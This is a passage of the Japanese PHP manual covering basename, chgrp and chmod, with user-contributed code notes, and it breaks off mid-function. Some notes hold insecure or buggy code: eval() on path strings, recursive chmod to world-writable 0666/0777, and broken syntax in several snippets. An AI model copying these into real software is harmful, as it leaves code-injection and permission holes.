  • fpassthru — ファイルポインタ上に残っているすべてのデータを出力する
  • fputcsv — 行を CSV 形式にフォーマットし、ファイルポインタに書き込む
  • fputs — fwrite のエイリアス
  • fread — バイナリセーフなファイルの読み込み
  • fscanf — フォーマットに基づきファイルからの入力を処理する
  • fseek — ファイルポインタを移動する
  • fstat — オープンしたファイルポインタからファイルに関する情報を取得する
  • ftell — ファイルの読み書き用ポインタの現在位置を返す
  • ftruncate — ファイルを指定した長さに丸める
  • fwrite — バイナリセーフなファイル書き込み処理
  • glob — パターンにマッチするパス名を探す
  • is_dir — ファイルがディレクトリかどうかを調べる
  • is_executable — ファイルが実行可能かどうかを調べる
  • is_file — 通常ファイルかどうかを調べる
  • is_link — ファイルがシンボリックリンクかどうかを調べる
  • is_readable — ファイルが存在し、読み込み可能であるかどうかを知る
  • is_uploaded_file — HTTP POST でアップロードされたファイルかどうかを調べる
  • is_writable — ファイルが書き込み可能かどうかを調べる
  • is_writeable — is_writable のエイリアス
  • lchgrp — シンボリックリンクのグループ所有権を変更する
  • lchown — シンボリックリンクの所有者を変更する
  • link — ハードリンクを作成する
  • linkinfo — リンクに関する情報を取得する
  • lstat — ファイルあるいはシンボリックリンクの情報を取得する
  • mkdir — ディレクトリを作る
  • move_uploaded_file — アップロードされたファイルを新しい位置に移動する
  • parse_ini_file — 設定ファイルをパースする
  • parse_ini_string — 設定文字列をパースする
  • pathinfo — ファイルパスに関する情報を返す
  • pclose — プロセスのファイルポインタをクローズする
  • popen — プロセスへのファイルポインタをオープンする
  • readfile — ファイルを出力する
  • readlink — シンボリックリンク先を返す
  • realpath_cache_get — realpath キャッシュ・エントリーを取得
  • realpath_cache_size — realpath キャッシュサイズを取得
  • realpath — 正規化された絶対パス名を返す
  • rename — ファイルをリネームする
  • rewind — ファイルポインタの位置を先頭に戻す
  • rmdir — ディレクトリを削除する
  • set_file_buffer — stream_set_write_buffer のエイリアス
  • stat — ファイルに関する情報を取得する
  • symlink — シンボリックリンクを作成する
  • tempnam — 一意なファイル名を生成する
  • tmpfile — テンポラリファイルを作成する
  • touch — ファイルの最終アクセス時刻および最終更新日をセットする
  • umask — 現在の umask を変更する
  • unlink — ファイルを削除する

User Contributed Notes

ob at babcom dot biz 14-Mar-2013 03:56
a function based on "tunnelareaten at gmail dot com"s idea to search for files in a given directory by a searchstring or by fileextension.

I added support to search recursively through all sub-directories an to determine weather the filepath should be returned or not.

<?php
// recursive function to get contents of given folder by searchterm or fileextension
// (does not show folders)
// standards: Foldername:                    string
//            Searchterm:                    string
//            Searchtype:                    ext/search (file-extension or searchterm within filename)
//            SaveCompletePath:        true/1
// usage:     array FileSearch_r($Folder,$Search[,$SearchType,$SavePath])

function FileSearch_r($Dir,$Search,$SearchType="search",$SavePath=1) {
  $Array=array();
  $D=dir($Dir);
  while (false!==($Entry=$D->read()))
    if ($Entry!='.' && $Entry!='..') {
      $Entry=$Dir.$Entry;
      if (is_dir($Entry)) $Array=array_merge($Array,FileSearch_r($Entry.'/',$Search,$SearchType,$SavePath));
      else
          if ($SearchType=="search"
                      ?substr_count($Entry,$Search)>0
                      :($SearchType=="ext"
                          ?substr($Entry,-strlen($Search))===$Search
                          :true))
              $Array[]=$Entry;
    }
  $D->close();
  sort($Array,SORT_STRING);
  if(!(bool)$SavePath) $Array=str_replace($Dir,"",array_values($Array));
  return $Array;
}
?>
drapeko.com 23-May-2009 06:19
You have an array of directories (straightforward list of directories):

<?php
     $array = array(
         '/home/drapeko/var',
         '/home/drapeko/var/y',
         '/home/drapeko',
         '/home',
         '/var/libexec'
     );
     );
?>

And you would like to transform this array to hierarchy of directories:

<?php
 $array = array (
     'home' => array (
         'drapeko' => array (
             'var' => array (
                 'y' => array()
             )
         )
     ),
     'var' => array(
         'libexec' => array()
     )
 );
?>

How can you do it?

First of all the below function will help us.

<?php
/**
 * This function converts real filesystem path to the string array representation.
 *
 * for example,
 * '/home/drapeko/var/y            will be converted to    $result_array['home']['drapeko']['var']['y']
 * '/home/drapeko/var/y/file.txt   will be converted to       $result_array['home']['drapeko']['var']['y']
 *
 * @param $path         realpath of the directory
 * @return string        string array representation of the path
 */
function pathToArrayStr($path) {
     // TODO constants/configs?
     $res_path = str_replace(array(':/', ':\\', '/', '\\', DIRECTORY_SEPARATOR), '/', $path);
     // if the first or last symbol is '/' delete it (e.g. for linux)
     $res_path = preg_replace(array("/^\//", "/\/$/"), '', $res_path);
     // create string
     $res_path = '[\''.str_replace('/', '\'][\'', $res_path).'\']';

     return $res_path;
}
?>

It simply converts the real path of the file to array string representation.

How can you use this function? I know it looks like a little confusing. But it's quite simple. Consider the example below:

<?php
 $result = array();
 $check = array();
 foreach($array as $val) {
     $str = pathToArrayStr($val, 'result');
     foreach($check as $ck) {
         if (strpos($ck, $str) !== false) {
             continue 2;
         }
     }
     $check[] = $str;
     eval('$result'.$str.' = array();');
 }
print_r($result);
?>

Heh, how do you find it? This approach has helped me very much. I hope you will find it useful. :)
Christian 17-Mar-2007 09:24
I just learned that, to specify file names in a portable manner, you DON'T need 'DIRECTORY_SEPARATOR' - just use '/'. This really surprised and shocked me, as until now I typed about a zillion times 'DIRECTORY_SEPARATOR' to stay platform independent - unnecessary. Don't make the same mistake.
tunnelareaten at gmail dot com 25-Feb-2005 08:27
I made this function to search and/or display files by extension or for a string occurance in the filename. Any comments or enhancements are welcome offcourse. I'll update this function soon.

usage: list_files([string], [string], [int 1 | 0], [int 1 | 0]);

search for extension: list_files([string], [string], [0], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [0], [0]);
echo result: list_files([string], [string], [0], [1]);

search for string occurance: list_files([string], [string], [1], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [1], [0]);
echo result: list_files([string], [string], [1], [1]);

<?php

function list_files($directory, $stringSearch, $searchHandler, $outputHandler) {
 $errorHandler = false;
 $result = array();
 if (! $directoryHandler = @opendir ($directory)) {
  echo ("<pre>\nerror: directory \"$directory\" doesn't exist!\n</pre>\n");
 return $errorHandler = true;
 }
 if ($searchHandler === 0) {
  while (false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr ($fileName, - @strlen ($stringSearch)) === $stringSearch) {
    @array_push ($result, $fileName);
   }
  }
 }
 if ($searchHandler === 1) {
  while(false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr_count ($fileName, $stringSearch) > 0) {
    @array_push ($result, $fileName);
   }
  }
 }
 if (($errorHandler === true) &&  (@count ($result) === 0)) {
  echo ("<pre>\nerror: no filetype \"$fileExtension\" found!\n</pre>\n");
 }
 else {
  sort ($result);
  if ($outputHandler === 0) {
   return $result;
  }
  if ($outputHandler === 1) {
   echo ("<pre>\n");
   print_r ($result);
   echo ("</pre>\n");
  }
 }
}

?>
Gregor Mosheh 22-Aug-2003 05:23
This function searches a directory and returns an array of all files whose filename matches the specified regular expression. It's similar in concept to the Unix find program.

 function findfile($location='',$fileregex='') {
    if (!$location or !is_dir($location) or !$fileregex) {
       return false;
    }

    $matchedfiles = array();

    $all = opendir($location);
    while ($file = readdir($all)) {
       if (is_dir($location.'/'.$file) and $file <> ".." and $file <> ".") {
          $subdir_matches = findfile($location.'/'.$file,$fileregex);
          $matchedfiles = array_merge($matchedfiles,$subdir_matches);
          unset($file);
       }
       elseif (!is_dir($location.'/'.$file)) {
          if (preg_match($fileregex,$file)) {
             array_push($matchedfiles,$location.'/'.$file);
          }
       }
    }
    closedir($all);
    unset($all);
    return $matchedfiles;
 }

$htmlfiles = findfile('/some/dir','/\.(htm|html)$/');
mitra at mitra dot biz 15-May-2003 10:10
Pollard@php.net contributed this in response to a question on setting these variables ...
This option *IS* settable within your PHP scripts.
Example:

<?php
  ini_set('auto_detect_line_endings', true);
  $contents = file('unknowntype.txt');

  ini_set('auto_detect_line_endings', false);
  $content2 = file('unixfile.txt');
?>

Note, with PHP 4.3 anytime Mac files are read using fgets or file you'll need to auto_detect_line_endings since \n is otherwise assumed.  However, with PHP 5.0, stream_get_line() will allow you to specify what line ending character to read up to.

\\ Read a line from a MAC file
stream_get_line($fp, 4096, "\r");

\\ Read a line from a UNIX file
stream_get_line($fp, 4096, "\n");

\\ Read a line from a DOS file
stream_get_line($fp, 4096, "\r\n");

\\ Read a line up to any filesystem line ending
ini_set('auto_detect_line_endings', true); fgets($fp);

\\ You can also make up your own line ending characters:
\\ Read up to the first instance of ":"
stream_get_line($fp, 4096, ":");
regis at webstuff dot com dot br 03-Apr-2003 07:49
Here is a useful function if you're having trouble writing raw bytes into a file.

It receives an integer and returns an array containing the ASCII values of the bytes on each index of the array.

function int2bytes($number){
  $byte = $number;
  $i=0;
  do{
    $dec_tmp = $byte;

    $byte = bcdiv($byte,256,0);
    $resto = $dec_tmp - (256 * $byte);
    $return[] = $resto;
  } while($byte >= 256);
  if($byte) $return[] = $byte;
  return array_reverse($return);
}

Example:

$arr = int2bytes(75832);

$arr will contain the following values:
Array
(
    [0] => 1
    [1] => 40
    [2] => 56
)

Now, to write this data to the file, just use a fputs() with chr(), just like this:

fputs($fp,chr($arr[0]).chr($arr[1]).chr($arr[2]))

-- Regis
jdhurn at uberidx dot com 08-Mar-2003 07:18
This is a function I use to determine if a file contains Binary information. I use this for my search engine so that it doesn't try to index files like .zip or .mp3 or any other file that doesn't contain readable information. It makes use of the Character Type Extension if it's loaded, if it's not then it uses Regular Expressions.

function is_binary($link)
{
     $tmpStr  = '';
     @$fp     = fopen($link, 'rb');
     @$tmpStr = fread($fp, 256);
     @fclose($fp);

     if($tmpStr != '')
     {
          $tmpStr = str_replace(chr(10), '', $tmpStr);
          $tmpStr = str_replace(chr(13), '', $tmpStr);

          $tmpInt = 0;

           for($i =0; $i < strlen($tmpStr); $i++)
          {
                if( extension_loaded('ctype') )
               {
                    if( !ctype_print($tmpStr[$i]) )
                         $tmpInt++;
               }
               else
               {
                   if( !eregi("[[:print:]]+", $tmpStr[$i]) )
                         $tmpInt++;
               }
           }

           if($tmpInt > 5)
                return(0);
            else
                return(1);
     }
     else
           return(0);
}


パスの最後にある名前の部分を返す

  • ≪ ファイルシステム 関数
  • chgrp ≫
  • PHP Manual
  • ファイルシステム 関数
  • パスの最後にある名前の部分を返す

basename

(PHP 4, PHP 5, PHP 7, PHP 8)

basename — パスの最後にある名前の部分を返す

説明

basename ( string $path , string $suffix = "" ) : string

ファイルあるいはディレクトリへのパスを含む文字列を受け取って、 最後にある名前の部分を返します。

注意:

basename() は、入力文字列を単純にそのまま処理します。 実際のファイルシステムを確認したり ".." のようなパスを気にしたりすることはありません。

警告

basename() はロケールに依存します。 マルチバイト文字を含むパスで正しい結果を得るには、それと一致するロケールを setlocale() で設定しておかなければなりません。 現在のロケールから見て不正な文字が path に含まれていた場合、 basename() の動作は未定義です。

パラメータ

path

パス。

Windows では、スラッシュ(/) とバックスラッシュ (\) の両方がディレクトリ区切り文字として使われます。 その他の環境ではスラッシュ(/)になります。

suffix

名前の部分が suffix で終了する場合、 この部分もカットされます。

返り値

指定した path のベース名を返します。

例

例1 basename() の例

<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?>

上の例の出力は以下となります。

1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)

参考

  • dirname() - 親ディレクトリのパスを返す
  • pathinfo() - ファイルパスに関する情報を返す

User Contributed Notes

stocki dot r at gmail dot com 10-Apr-2019 11:02
Additional note to Anonymous's mb_basename() solution: get rid of trailing slashes/backslashes!

<?php
function mb_basename($path) {
    if (preg_match('@^.*[\\\\/]([^\\\\/]+)([\\\\/]+)?$@s', $path, $matches)) {
        return $matches[1];
    } else if (preg_match('@^([^\\\\/]+)([\\\\/]+)?$@s', $path, $matches)) {
        return $matches[1];
    }
    return '';
}

echo mb_basename("/etc//"); # "etc"
?>
wibgates dot kenneth at gmail dot com 11-Sep-2017 01:49
the best way to get the filename from url is here
<?php
      // url : http://php.net/manual/add-note.php

       defined('baseUrlFileName') or define('baseUrlFileName',
       explode('.',explode('/',$_SERVER['PHP_SELF'])[3])[0]);

     echo baseUrlFileName ; // result 1

?>

Result 1 :
    add-note
Anonymous 20-Jul-2017 05:04
It's a shame, that for a 20 years of development we don't have mb_basename() yet!

// works both in windows and unix
function mb_basename($path) {
    if (preg_match('@^.*[\\\\/]([^\\\\/]+)$@s', $path, $matches)) {
        return $matches[1];
    } else if (preg_match('@^([^\\\\/]+)$@s', $path, $matches)) {
        return $matches[1];
    }
    return '';
}
frank1982 31-Mar-2017 10:22
Try Long Path Tool as it can remove any problems that you might have.
Anonymous 10-Mar-2017 08:05
There is a problem reading non-Latin characters in the file name if the locale is not configured correctly.
For example: instead of the name ≪ФЫВА-1234.doc≫, is displayed ≪-1234.doc≫.
Solution: rawurldecode(basename($full_name)).
gandung at ppp dot cylab dot cmu dot edu 20-Feb-2017 11:49
My opinion is, remove the $suffix first, and then apply splitting the core basename ( PHP 4 ):

/*
 * From stephane.fidanza@gmail.com:
 *
 * PHP 4: $suffix is removed first, and then the core basename is applied.
 * PHP 5: $suffix is removed after applying the core basename.
 *
 * (c) Paulus Gandung Prakosa (rvn.plvhx@gmail.com)
 */
if ( !function_exists('php4_backward_compat_basename') )
{
        function php4_backward_compat_basename($path, $suffix = '')
        {
                if ( $suffix !== '' ) {
                        $fixed_path = substr($path, 0, strlen($path) - strlen($suffix));
                        $fixed_basename = explode('/', $fixed_path);
                }

                return ( isset($fixed_basename) ? array_pop($fixed_basename) : array_pop(explode('/', $path)) );
        }
}
Anonymous 15-Dec-2014 02:30
As already pointed out above, if a query string contains a '/' character, basename will not handle it well. But it can come really handy when you want to pass a url with query string to a funtion that copies/downloads the file using basename as local filename, by attaching  an extra query to the end of the url:

<?php
  $url = 'http://example.com/url?with=query_string';
  basename($url); // url?with=query_string
  $url = $url . '&filename_for_basename=/desired_filename.ext';
  basename($url); // desired_filename.ext
?>

Note: you can use the filename from the HTTP header (if present) to get the file with it's original filename.
poop at poop dot com 22-Nov-2014 12:42
@ lcvalentine at gmail dot com
>This is much simpler:
>$ext = strrchr( $filename, '.' );

Even though yours is shorter, you can also do:

$ext = end(explode(".", basename($file
lcvalentine at gmail dot com 21-Nov-2014 04:32
@softontherocks at gmail dot com
> If you want to get the extension of a file, I posted a function in
> http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html
>
> The function is:
>
> function getExtension($file) {
>   $pos = strrpos($file, '.');
>   return substr($file, $pos+1);
> }

This is much simpler:
$ext = strrchr( $filename, '.' );
softontherocks at gmail dot com 31-Oct-2014 06:38
If you want to get the extension of a file, I posted a function in http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html

The function is:

 function getExtension($file) {
  $pos = strrpos($file, '.');
  return substr($file, $pos+1);
 }
Muhammad El-Saeed muhammad at elsaeed dot info 19-Apr-2013 04:58
to get the base url of my website

function url(){
    $base_url = isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off' ? 'https' : 'http';
    $base_url .= '://'. $_SERVER['HTTP_HOST'];
    $base_url .= str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']);
    return $base_url;
}
swedish boy 12-Oct-2009 03:43
Here is a quick way of fetching only the filename (without extension) regardless of what suffix the file has.

<?php

// your file
$file = 'image.jpg';

$info = pathinfo($file);
$file_name =  basename($file,'.'.$info['extension']);

echo $file_name; // outputs 'image'

?>
hello at haroonahmad dot co dot uk 18-Sep-2008 08:13
I got a blank output from this code

$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

suggested earlier by a friend here.

So anybody who wants to get the current directory path can use another technique that I use as

//suppose you're using this in pageitself.php page

$current_dir=dirname(realpath("pageitself.php"));

I hope it helps.
zandor_zz at yahoo dot it 08-Sep-2008 01:34
It might be useful to have a version of the function basename working with arrays too.

<?php
function a_basename( $file, $exts )
{
    $onlyfilename = end( explode( "/", $file ) );

    if( is_string( $exts ) )
    {
        if ( strpos( $onlyfilename, $exts, 0 ) !== false )
        $onlyfilename = str_replace( $exts, "", $onlyfilename );
    }
    else if ( is_array( $exts ) )
    {
        // works with PHP version <= 5.x.x
        foreach( $exts as $KEY => $ext )
        {
            $onlyfilename = str_replace( $ext, "", $onlyfilename );
        }
    }

    return $onlyfilename ;
}
?>
(remove) dot nasretdinov at (remove) dot gmail dot com 27-Aug-2008 08:20
There is only one variant that works in my case for my Russian UTF-8 letters:

<?php
function mb_basename($file)
{
    return end(explode('/',$file));
}
><

It is intented for UNIX servers
pai dot ravi at yahoo dot com 15-Aug-2008 08:44
once you have extracted the basename from the full path and want to separate the extension from the file name, the following function will do it efficiently:

<?php
function splitFilename($filename)
{
    $pos = strrpos($filename, '.');
    if ($pos === false)
    { // dot is not found in the filename
        return array($filename, ''); // no extension
    }
    else
    {
        $basename = substr($filename, 0, $pos);
        $extension = substr($filename, $pos+1);
        return array($basename, $extension);
    }
}
?>
adrian at foeder dot de 20-Dec-2007 12:33
On windows systems, filenames are case-insensitive. If you have to make sure the right case is used when you port your application to an unix system, you may use a combination of the following:

<?php
//assume the real filename is mytest.JPG:

$name_i_have = "mytest.jpg";
$realfilename = basename(realpath($name_i_have));
?>

basename itself does not check the filesystem for the given file, it does, so it seems, only string-manipulation.
With realpath() you can "extend" this functionality.
stephane dot fidanza at gmail dot com 11-Apr-2007 04:33
Support of the $suffix parameter has changed between PHP4 and PHP5:
in PHP4, $suffix is removed first, and then the core basename is applied.
conversely, in PHP5, $suffix is removed AFTER applying core basename.

Example:
<?php
  $file = "path/to/file.xml#xpointer(/Texture)";
  echo basename($file, ".xml#xpointer(/Texture)");
?>

Result in PHP4: file
Result in PHP5: Texture)
thoughts at highermind dot org 30-Jan-2007 05:45
Basename without query string:

<?php
$filename    = array_shift(explode('?', basename($url_path)));
?>
lazy lester 17-Feb-2006 04:19
If your path has a query string appended, and if the query string contains a "/" character, then the suggestions for extracting the filename offered below don't work.

For instance if the path is like this:
http://www.ex.com/getdat.php?dep=n/a&title=boss

Then both the php basename() function, and also
the $_SERVER[QUERY_STRING] variables get confused.

In such a case, use:

<php
$path_with_query="http://www.ex.com/getdat.php?dep=n/a&title=boss";
$path=explode("?",$path_with_query);
$filename=basename($path[0]);
$query=$path[1];
?>
15-Nov-2005 04:57
icewinds exmaple wouldn't work, the query part would contain the second char of the filename, not the query part of the url.
<?
$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$query = $file[1];
$file = $file[0];
?>

That works better.
icewind 02-Nov-2005 12:44
Because of filename() gets "file.php?var=foo", i use explode in addition to basename like here:

$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$file = $file[0];
$query = $file[1];

Now $file only contains "file.php" and $query contains the query-string (in this case "var=foo").
www.turigeza.com 24-Oct-2005 12:47
simple but not said in the above examples

echo basename('somewhere.com/filename.php?id=2', '.php');
will output
filename.php?id=2

which is not the filename in case you expect!
crash at subsection dot org dot uk 22-Sep-2005 12:38
A simple way to return the current directory:
$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

since basename always treats a path as a path to a file, e.g.

/var/www/site/foo/ indicates /var/www/site as the path to file
foo
amitabh at NOSPAM dot saysnetsoft dot com 14-Jul-2005 01:55
The previous example posted by "pvollma" didn't work out for me, so I modified it slightly:
<?php
function GetFileName($file_name)
{
        $newfile = basename($file_name);
        if (strpos($newfile,'\\') !== false)
        {
                $tmp = preg_split("[\\\]",$newfile);
                $newfile = $tmp[count($tmp) - 1];
                return($newfile);
        }
        else
        {
                return($file_name);
        }
}
?>
pvollma at pcvsoftware dot net 13-Jul-2005 11:43
There is a real problem when using this function on *nix servers, since it does not handle Windows paths (using the \ as a separator). Why would this be an issue on *nix servers? What if you need to handle file uploads from MS IE? In fact, the manual section "Handling file uploads" uses basename() in an example, but this will NOT extract the file name from a Windows path such as C:\My Documents\My Name\filename.ext. After much frustrated coding, here is how I handled it (might not be the best, but it works):

<?php
$newfile = basename($filen);
if (strpos($newfile,'\\') !== false) {
  $tmp = preg_split("[\\\]",$newfile);
  $newfile = $tmp[count($tmp) - 1];
}
?>

$newfile will now contain only the file name and extension, even if the POSTed file name included a full Windows path.
KOmaSHOOTER at gmx dot de 30-Jan-2005 06:18
if you want the name of the parent directory
<?php
$_parenDir_path = join(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1),"/").'/'; // returns the full path to the parent dir
$_parenDir =  basename ($_parenDir_path,"/"); // returns only the name of the parent dir
// or
$_parenDir2 = array_pop(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1)); // returns also only the name of the parent dir
echo('$_parenDir_path  = '.$_parenDir_path.'<br>');
echo('$_parenDir  = '.$_parenDir.'<br>');
echo('$_parenDir2  = '.$_parenDir2.'<br>');
?>
KOmaSHOOTER at gmx dot de 29-Jan-2005 04:24
If you want the current path where youre file is and not the full path then use this :)

<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// retuns the name of current used directory
?>

Example:

www dir: domain.com/temp/2005/january/t1.php

<?php
echo('dirname <br>'.dirname($_SERVER['PHP_SELF']).'<br><br>');
// returns: /temp/2005/january
?>

<?php
echo('file = '.basename ($PHP_SELF,".php"));
// returns: t1
?>

if you combine these two you get this
<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// returns: january
?>

And for the full path use this
<?php
echo(' PHP_SELF <br>'.$_SERVER['PHP_SELF'].'<br><br>');
// returns: /temp/2005/january/t1.php
?>
KOmaSHOOTER at gmx dot de 28-Nov-2003 02:33
Exmaple for exploding ;) the filename to an array

<?php
echo(basename ($PHP_SELF)."<br>");  // returnes filename.php
$file = basename ($PHP_SELF);
$file = explode(".",$file);
print_r($file);    // returnes Array ( [0] => filename [1] => php )
echo("<br>");
$filename = basename(strval($file[0]),$file[1]);
echo($filename."<br>");  // returnes  filename
echo(basename ($PHP_SELF,".php")."<br>");  // returnes  filename
echo("<br>");
echo("<br>");
//show_source(basename ($PHP_SELF,".php").".php")
show_source($file[0].".".$file[1])
?>
daijoubu_NOSP at M_videotron dot ca 15-Oct-2003 10:22
An faster alternative to:

<?php
array_pop(explode('.', $fpath));
?>

would be:

<?php
substr($fpath, strrpos($fpath, '.')); // returns the dot
?>

If you don't want the dot, simply adds 1 to the position

<?php
substr($fpath, strrpos($fpath, '.') + 1); // returns the ext only
?>


ファイルのグループを変更する

  • ≪ basename
  • chmod ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルのグループを変更する

chgrp

(PHP 4, PHP 5, PHP 7, PHP 8)

chgrp — ファイルのグループを変更する

説明

chgrp ( string $filename , string|int $group ) : bool

(名前または番号で指定した)ファイル filename のグループを group に変更しようと試みます。

スーパーユーザーのみがファイルのグループを任意に変更できます。 その他のユーザーは、ファイルのグループをそのユーザーがメンバーとして 属しているグループに変更できます。

パラメータ

filename

ファイルへのパス。

group

グループ名あるいはグループ番号。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ファイルのグループの変更

<?php
$filename = 'shared_file.txt';
$format = "%s's Group ID @ %s: %d\n";
printf($format, $filename, date('r'), filegroup($filename));
chgrp($filename, 8);
clearstatcache(); // filegroup() の結果はキャッシュしない
printf($format, $filename, date('r'), filegroup($filename));
?>

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

注意: Windows で通常ファイルに対してこの関数を実行すると、静かに失敗します。

参考

  • chown() - ファイルの所有者を変更する
  • chmod() - ファイルのモードを変更する

User Contributed Notes

There are no user contributed notes for this page.


ファイルのモードを変更する

  • ≪ chgrp
  • chown ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルのモードを変更する

chmod

(PHP 4, PHP 5, PHP 7, PHP 8)

chmod — ファイルのモードを変更する

説明

chmod ( string $filename , int $permissions ) : bool

指定されたファイルのモードを permissions で指定したものに変更しようと試みます。

パラメータ

filename

ファイルへのパス。

permissions

permissions は自動的には 8 進数と見なされないので注意してください。 意図した操作を行うには、permissions の前にゼロ(0)を付ける必要があります。 "g+w" のような文字列は正常に動作しません。

<?php
chmod("/somedir/somefile", 755);   // 10 進数; おそらく間違い
chmod("/somedir/somefile", "u+rwx,go+rx"); // 文字列; 正しくない
chmod("/somedir/somefile", 0755);  // 8 進数; 正しいモードの値
?>

permissions 引数は 3 つの 8 進法による数値で構成され、 所有者自身、所有者が属するグループ、その他のユーザーの順で アクセス制限を設定します。一つ一つの数字はそのターゲットに対し 許可を与えます。1 は実行権限、2 はファイルに対する書き込み権限、 4 はファイルに対する読み込み権限を与えます。 必要な権限にあわせ数値を加算してください。 許可モードに関する詳細は Unix システムの 「man 1 chmod」や「man 2 chmod」をご覧ください。

<?php
// 所有者に読み込み、書き込みの権限を与え、その他には何も許可しない。
chmod("/somedir/somefile", 0600);

// 所有者に読み込み、書き込みの権限を与え、その他には読み込みだけ許可する。
chmod("/somedir/somefile", 0644);

// 所有者に全ての権限を与え、その他には読み込みと実行を許可する。
chmod("/somedir/somefile", 0755);

// 所有者に全ての権限を与え、所有者が属するグループに読み込みと実行を許可する。
chmod("/somedir/somefile", 0750);
?>

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

現在のユーザーは PHP を実行しているユーザーです。 これは普通のシェルや FTP アクセスでのユーザーとはたいてい違います。 たいていのシステムでは、ファイルの所有者のみがそのモードを 変更可能です。

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

参考

  • chown() - ファイルの所有者を変更する
  • chgrp() - ファイルのグループを変更する
  • fileperms() - ファイルのパーミッションを取得する
  • stat() - ファイルに関する情報を取得する

User Contributed Notes

no at no dot es 18-Jan-2021 09:43
use a stored string for the mask is a pain
ex: $mask contains a string 0755
int($mask) not work (return 755)
the only way i found is use octdec($mask)
Tuckbros 15-May-2020 06:26
Just an update of the solution with octdec. You have to give octdec the string as a parameter.

$mode = '644';
chmod(file_or_dir_name, octdec($mode));

See also: http://www.php.net/manual/en/function.octdec.php
chris at ocproducts dot com 02-Mar-2020 07:50
Windows has a very different file permission model to Unix and integrates them only minimally.

On Windows, all this function can do is to change the "read only" flag, which is turned on if $mode & 0200 does not pass.
i.e. it only checks if u+w is missing from the bitmask, and if it is, it sets the read only flag.

The executable flag cannot be set as Windows determines it based on file extension.
The write flag cannot be set as Windows determines write access based on ACLs, which are not integrated here.
h dot kuppens at cs dot ru dot nl 29-Aug-2011 02:51
For recursive chmod'ing both files and directories in one step you can use the function below. Note that this function has one argument for directory permissions and one for file permissions.
In this way you can apply the 'x' permission on directories, and skip it on directories. This function also skips links.

Example usage :

   chmod_R( 'mydir', 0666, 0777);

Makes all files and directories within mydir/ directory accessible for everyone, but doesn't make the files executable.

I guess for very deeply nested directories the recursion with php can become problematic, but I can be wrong because I never investigated this.

<?php
function chmod_R($path, $filemode, $dirmode) {
    if (is_dir($path) ) {
        if (!chmod($path, $dirmode)) {
            $dirmode_str=decoct($dirmode);
            print "Failed applying filemode '$dirmode_str' on directory '$path'\n";
            print "  `-> the directory '$path' will be skipped from recursive chmod\n";
            return;
        }
        $dh = opendir($path);
        while (($file = readdir($dh)) !== false) {
            if($file != '.' && $file != '..') {  // skip self and parent pointing directories
                $fullpath = $path.'/'.$file;
                chmod_R($fullpath, $filemode,$dirmode);
            }
        }
        closedir($dh);
    } else {
        if (is_link($path)) {
            print "link '$path' is skipped\n";
            return;
        }
        if (!chmod($path, $filemode)) {
            $filemode_str=decoct($filemode);
            print "Failed applying filemode '$filemode_str' on file '$path'\n";
            return;
        }
    }
}
?>
Andrey P. 01-Mar-2011 02:23
I was trying to change permissions of a folder with chmod command with FTP connection. (I needed a writable folder to upload pictures with php)

I got the following respond:
"SITE CHMOD 777 uploads: command not understood"

The reason: Server is running under Windows system that does not allow to set file permissions via FTP. Conversely, the UNIX-running servers allow that.

Solutions:

1. If your web hosting provider has a web-based control panel that lets you set file permissions, then you need to login there and make changes.

2. It is possible to contact the hosting provider and ask them about this issue; maybe they can make the changes.

3. It is possible to change the hosting provider that has servers run on UNIX, and keep the site there.
MethodicalFool 02-Sep-2010 09:46
BEWARE, a couple of the examples in the comments suggest doing something like this:

chmod(file_or_dir_name, intval($mode, 8));

However, if $mode is an integer then intval( ) won't modify it.  So, this code...

$mode = 644;
chmod('/tmp/test', intval($mode, 8));

...produces permissions that look like this:

1--w----r-T

Instead, use octdec( ), like this:

chmod(file_or_dir_name, octdec($mode));

See also: http://www.php.net/manual/en/function.octdec.php
Geoff W 08-Feb-2010 02:13
BEWARE using quotes around the second parameter...

If you use quotes eg

chmod (file, "0644");

php will not complain but will do an implicit conversion to an int before running chmod. Unfortunately the implicit conversion doesn't take into account the octal string so you end up with an integer version 644, which is 1204 octal
sander 25-Jun-2009 11:06
if you want to chmod directories too, use this

<?php
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname), RecursiveIteratorIterator::SELF_FIRST);

foreach($iterator as $item) {
    chmod($item, $filemode);
}
?>
Anonymous 24-Dec-2008 02:14
Changes file mode recursive in $pathname to $filemode

<?php

$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname));

foreach($iterator as $item) {
    chmod($item, $filemode);
}

?>
nicolas at infosoft dot inf dot br 07-Jul-2008 05:37
I use the code of haasje@welmers.net, but have a lite alteration. (linux symlink)

<?php
function chmod_R($path, $filemode) {
    if (!is_dir($path))
        return chmod($path, $filemode);

    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if($file != '.' && $file != '..') {
